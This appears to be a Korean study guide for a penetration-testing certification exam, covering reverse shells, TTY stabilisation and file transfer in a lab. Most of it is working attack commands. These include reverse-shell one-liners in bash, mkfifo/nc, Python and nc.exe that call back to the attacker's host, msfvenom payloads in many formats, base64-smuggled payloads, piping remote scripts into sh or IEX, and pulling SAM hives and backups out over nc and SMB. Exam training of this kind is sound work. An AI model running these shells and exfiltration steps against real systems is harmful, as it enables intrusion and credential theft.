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셸과 파일 전송

적용 범위: 모든 발판 · 우선순위: 높음 · 최종 수정: 2026-11-03

한 문장 요약

"명령을 실행할 수 있다"를 스크린샷 찍을 수 있는 안정적인 대화형 셸로 바꾸고, 도구를 대상에 옮깁니다 — 페이로드는 직접 만들고(msfvenom 은 언제나 허용), Metasploit은 많아야 한 대에만.

실전 실행 참고

명령 선택·출력 해석·실패 진단은 실전 종합 가이드, Windows·AD 프로토콜별 상세 사용법은 Impacket 집중 가이드를 참고하세요.

1. 개념

순서대로 푸는 세 가지 문제입니다.

  1. 콜백 받기 — 대상에서 Kali의 리스너로 리버스 셸(egress가 막혔으면 bind 셸).
  2. 안정화 — Linux는 진짜 TTY, Windows는 히스토리/방향키. Ctrl-C 한 번에 셸을 잃지 않게.
  3. 파일 옮기기 — 정보 수집 스크립트와 익스플로잇을 올리고, 루팅한 자료를 내려받기.

시험 규칙 — Metasploit은 한 대에만

  • Metasploit 모듈(exploit / auxiliary / post) 또는 Meterpreter: 내가 고른 한 대 에만. 한 번 쓰면 그 선택은 고정 — 실패해도 바꿀 수 없음.
  • 여러 호스트에 check 를 돌려 고르는 것도 전부에 쓴 것으로 칩니다.
  • Metasploit 피벗(autoroute, portfwd, socks 모듈) 금지.
  • 모든 대상에 항상 허용: msfvenom(모든 페이로드 형식)과 Meterpreter가 아닌 페이로드 의 exploit/multi/handler(예: windows/x64/shell_reverse_tcp).
  • 원문 → 시험 구조 › Metasploit.

2. 주요 도구

도구 용도 시험 허용 여부
nc / ncat + rlwrap 리스너, 간단한 전송 허용
msfvenom 리버스 셸 페이로드: exe, elf, dll, msi, aspx, war, php, raw 셸코드 어디서나 허용
multi/handler staged / Meterpreter가 아닌 페이로드 받기 Meterpreter가 아닌 페이로드로 허용
python3 -m http.server Kali에서 파일 서빙 허용
impacket-smbserver Kali의 SMB 공유(복사, UNC에서 실행, 해시 캡처) 허용
certutil / iwr / curl / wget 대상에서 다운로드(LOLBAS / GTFOBins) 허용
evil-winrm WinRM 위 내장 upload / download 허용

3. 시나리오

3.1 리스너와 원라이너

상황: 명령 실행(웹 셸, 명령 주입, 익스플로잇)이 되고 셸이 필요함.

# Kali — egress 규칙이 보통 허용하는 포트로 리스너
rlwrap -cAr nc -lvnp 443

bash -c 'bash -i >& /dev/tcp/<KALI>/443 0>&1'
# bash /dev/tcp 가 없으면?
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <KALI> 443 > /tmp/f
busybox nc <KALI> 443 -e /bin/sh
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("<KALI>",443));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")'

# 먼저 nc.exe 업로드(3.5), 그다음:
C:\Windows\Temp\nc.exe <KALI> 443 -e cmd.exe
# 또는 msfvenom exe (3.2)
C:\Windows\Temp\rev.exe

볼 것: connect to [KALI] from (UNKNOWN) [IP] → 들어왔음. 아무것도 안 오면? → 80 / 53 포트로, 대상이 나에게 닿기는 하는지 확인(ping, curl http://<KALI>/), 또는 bind 셸.

URL이나 JSON 안에 페이로드 넣기

따옴표 문제를 피하려면 base64로: echo 'bash -i >& /dev/tcp/<KALI>/443 0>&1' | base64 → echo <b64> | base64 -d | bash. Windows는 powershell -enc <UTF-16LE base64>.

3.2 msfvenom — 필요한 페이로드 만들기

상황: 익스플로잇에 셸코드가 필요하거나, 서비스 바이너리를 바꿔야 하거나, Tomcat manager가 WAR를 받거나, 업로드가 ASPX를 받음.

# Windows exe / 서비스 바이너리
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$KALI LPORT=443 -f exe -o rev.exe
# Windows DLL (DLL 하이재킹)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$KALI LPORT=443 -f dll -o evil.dll
# MSI (AlwaysInstallElevated)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$KALI LPORT=443 -f msi -o evil.msi
# ASPX (IIS 업로드)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$KALI LPORT=443 -f aspx -o rev.aspx
# WAR (Tomcat manager)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$KALI LPORT=443 -f war -o rev.war
# Linux ELF
msfvenom -p linux/x64/shell_reverse_tcp LHOST=$KALI LPORT=443 -f elf -o rev.elf
# 공개 익스플로잇용 셸코드 (Python 형식, bad char 제거)
msfvenom -p windows/shell_reverse_tcp LHOST=$KALI LPORT=443 EXITFUNC=thread -b '\x00' -f python -v shellcode

Stageless vs staged: shell_reverse_tcp(밑줄)는 stageless → 그냥 nc 로 받음. shell/reverse_tcp(슬래시)는 staged → multi/handler 필요:

msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/shell/reverse_tcp; set LHOST tun0; set LPORT 443; run"

다음: 아키텍처를 맞추세요(x64 vs x86 — systeminfo / uname -m 확인). 아키텍처가 틀리면 아무 말 없이 죽습니다.

3.3 Linux — 완전한 TTY로 업그레이드

상황: 날것의 nc 셸: 탭 완성 없음, sudo / su 가 터미널 없다고 불평, Ctrl-C 에 죽음.

python3 -c 'import pty; pty.spawn("/bin/bash")'    # 또는: script -qc /bin/bash /dev/null
# Ctrl-Z 누르기
stty raw -echo; fg
# Enter 누르고:
export TERM=xterm-256color SHELL=/bin/bash
stty rows 50 cols 200          # Kali의 `stty size` 와 맞추기

볼 것: 프롬프트가 제대로 다시 그려지고, su 가 비밀번호를 묻고, vi 가 동작함. 다음: Linux 권한 상승.

SSH 크리덴셜이나 키가 있다면?

진짜 SSH를 쓰세요 — 가장 안정적인 셸이고, ssh -L/-R/-D 로 피벗도 공짜예요 → 피벗팅 › SSH. 찾은 키라면: chmod 600 id_rsa; ssh -i id_rsa user@$IP.

3.4 Windows — 쓸 만한 셸

  • 리스너는 항상 rlwrap 으로(히스토리 + 방향키).
  • cmd 에서 powershell -ep bypass 로 PowerShell.
  • 크리덴셜이 있고 5985가 열려 있으면 evil-winrm 이 최고의 셸 → AD › evil-winrm.
  • RDP 권한이 있으면: xfreerdp3 /v:$IP /u:user /p:'Pass' /dynamic-resolution /drive:share,/home/kali/exam/tools(구버전 Kali는 xfreerdp) — /drive 옵션이 Kali 폴더를 마운트해 파일 전송에 씁니다.

3.5 파일 전송 — Kali → 대상

# Kali: tools 폴더 서빙
cd ~/exam/tools && python3 -m http.server 80

wget http://<KALI>/linpeas.sh -O /tmp/lp.sh
curl http://<KALI>/linpeas.sh -o /tmp/lp.sh
curl http://<KALI>/linpeas.sh | sh                    # 디스크에 안 쓰고 실행
# wget/curl 이 없으면:
exec 3<>/dev/tcp/<KALI>/80; echo -e "GET /pspy64 HTTP/1.0\r\n\r\n" >&3; cat <&3 > /tmp/pspy   # (헤더는 나중에 잘라내기)

iwr http://<KALI>/winPEASx64.exe -OutFile C:\Windows\Temp\wp.exe
certutil -urlcache -split -f http://<KALI>/nc.exe C:\Windows\Temp\nc.exe
IEX (New-Object Net.WebClient).DownloadString('http://<KALI>/PowerView.ps1')   # 메모리에서

HTTP 대신 SMB (445 egress만 허용될 때도 되고, 공유에서 바로 실행도 가능):

impacket-smbserver share ~/exam/tools -smb2support -username k -password k

net use \\<KALI>\share /user:k k
copy \\<KALI>\share\mimikatz.exe C:\Windows\Temp\
\\<KALI>\share\winPEASx64.exe

쓸 수 있는 디렉터리에 쓰세요: C:\Windows\Temp, C:\Users\Public, /tmp, /dev/shm.

3.6 파일 전송 — 대상 → Kali (루팅 자료)

# Kali: nc 로 받기
nc -lvnp 9001 > loot/backup.zip

# Linux 대상
nc <KALI> 9001 < /var/backups/backup.zip

# Windows 대상 → SMB 공유(위)
copy C:\Windows\Temp\sam.save \\<KALI>\share\
# evil-winrm 세션
download C:\Windows\Temp\sam.save

중요한 파일(KeePass, 레지스트리 하이브)은 양쪽에서 md5sum / Get-FileHash 로 무결성을 확인하세요.

시험 규칙 — 재미로 빼내지 않기

대상 장악에 필요한 파일만 내려받고, 끝나면 지우세요(그 밖의 규칙).

4. 자주 하는 실수

  • 아키텍처가 틀리거나 staged 페이로드를 nc 로 받기. staged(/) 페이로드는 multi/handler 가 필요합니다.
  • "안정화하려고" Meterpreter 쓰기 — 한 대뿐인 Metasploit 기회를 써 버립니다.
  • egress가 막는 높은 포트에 리스너. 443 / 80부터.
  • 쓸 수 없는 디렉터리에 저장(C:\ 루트, /root) — 다운로드는 "됐는데" 아무것도 안 돌아감.
  • impacket-smbserver 에 -smb2support 빠뜨리기 — 최신 Windows는 SMB1을 거부합니다.
  • 스크린샷 전에 셸을 잃기. 대화형 셸을 얻으면 바로 플래그 스크린샷을 찍으세요.

5. 시험 팁

  • 시험 시작 전에 Windows(x64, x86)와 Linux 바이너리를 담은 tools/ 폴더를 준비하고, 랩에서 하나씩 테스트해 두세요.
  • 두 번째 예비 셸(리스너 하나 더, 또는 다시 실행되는 예약)이 권한 상승 도중 첫 셸이 죽을 때 살려 줍니다.
  • 쓴 페이로드 명령을 전부 기록하세요 — msfvenom 줄은 리포트에 들어갑니다.

참고 자료